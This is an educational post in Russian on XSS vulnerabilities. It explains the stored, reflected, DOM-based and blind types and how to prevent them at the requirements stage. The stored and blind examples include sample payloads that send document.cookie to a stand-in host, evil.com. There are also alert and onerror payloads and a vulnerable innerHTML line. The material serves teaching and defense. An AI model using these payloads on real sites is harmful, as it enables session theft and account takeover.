🛡 XSS-уязвимость
XSS (Cross‑Site Scripting) — атака, при которой злоумышленник внедряет в веб‑страницу вредоносный код (обычно на JavaScript).
Код выполняется в браузере другого пользователя (жертвы)
➡️ хакер находит место, куда можно «подложить» свой скрипт, когда жертва открывает страницу — скрипт крадёт её данные, подменяет содержимое или выполняет действия от её имени
На этапе проектирования требований можно:
⏺создать условие для уязвимости (например, разрешить любые символы в поле комментария)
✅ предотвратить её (чётко указать, какие символы и разметка допустимы)
Как работает XSS
1⃣ Злоумышленник находит поле ввода (поиск, комментирование, имя профиля)
2⃣ Вводит туда вредоносную строку, например: <script>alert('Ваши куки: ' + document.cookie)</script>
3⃣ Приложение сохраняет или сразу выводит эту строку без обработки
5⃣ Пользователь открывает страницу ➡️ его браузер видит эту строку как настоящий HTML код ➡️выполняет её
5⃣ Злоумышленник получает нужные данные (например, куки сессии) и может войти под учётной записью жертвы
❗️Ключевое условие: приложение показывает пользовательские данные как будто это безопасный код страницы, а не обычный текст
Типы XSS
⭕️Хранимая (Stored XSS) — самая опасная
Скрипт сохраняется на сервере (в базе, в файле) и отображается всем, кто заходит на страницу
➡️ Пример
Форма отзывов. Хакер пишет отзыв:
> Классный товар! <script>new Image().src='https://evil.com/steal?c='+document.cookie</script>
Если не обработан текст, каждый посетитель страницы отзывов отправит свои куки на сервер злоумышленника.ю
✅ Защита
✨в требованиях к полю, которое будет отображаться у других пользователей, прописывать ограничения
✨если HTML нужен — описывать белый список тегов (только <b>, <i>, <a> с проверенными ссылками)
⭕️Отражённая (Reflected XSS)
Скрипт не сохраняется, а «отражается» в ответе сервера. Жертву нужно заставить перейти по специальной ссылке.
➡️ Пример
Сайт показывает поисковый запрос: «Вы искали: запрос».
Хакер отправляет жертве ссылку:
https://site.com/search?q=<script>alert(1)</script>
Жертва кликает ➡️ скрипт выполняется
✅ Защита
В требованиях запрещать отображать непроверенные параметры URL или заголовков прямо в HTML.
Даже для сообщений об ошибке
⭕️DOM‑based XSS (без участия сервера)
Скрипт появляется из‑за уязвимого JavaScript-кода на самой странице, который берёт данные из адресной строки (хеша, параметров) и вставляет в HTML
➡️ Пример (уязвимый код на странице):
document.getElementById('message').innerHTML = location.hash.substring(1)
Хакерская ссылка:
https://site.com/<img src=x onerror=alert(1)>
Браузер не отправляет хеш на сервер, но на странице выполняется вредоносный код
✅ Защита
В клиентских скриптах не использовать innerHTML с пользовательскими данными,
Применять безопасные методы (textContent, setAttribute)
⭕️Слепая XSS (Blind XSS)
Скрипт хранится на сервере, но срабатывает там, где хакер не видит результат — в админ‑панели, в интерфейсе оператора
➡️ Пример
Форма обратной связи. Поле «Имя»:
<script>fetch('https://evil.com?cookie='+document.cookie)</script>
Сам клиент видит своё имя без проблем (экранирование на публичной части есть)
Но оператор в админ‑панели смотрит все заявки — и там экранирования нет.
Скрипт ворует сессию оператора
✅ Защита
Требования к экранированию должны быть одинаковыми для всех интерфейсов, включая внутренние.
📎 Материалы
1. Что такое XSS-атака и как с ней бороться
2. XSS: нападение и защита
3. Что такое XSS-уязвимости и как защититься с помощью Content Security Policy
4. Примеры атак XSS и способов их ослабления
5. XSS-атака без секретов: от простого alert до захвата сессии
📚 Книги
Грокаем безопасность веб-приложения - Макдональд Малькольм
#безопасность
➿➿➿➿➿➿➿➿
🧑🎓 Больше полезного в базе знаний по системному анализу
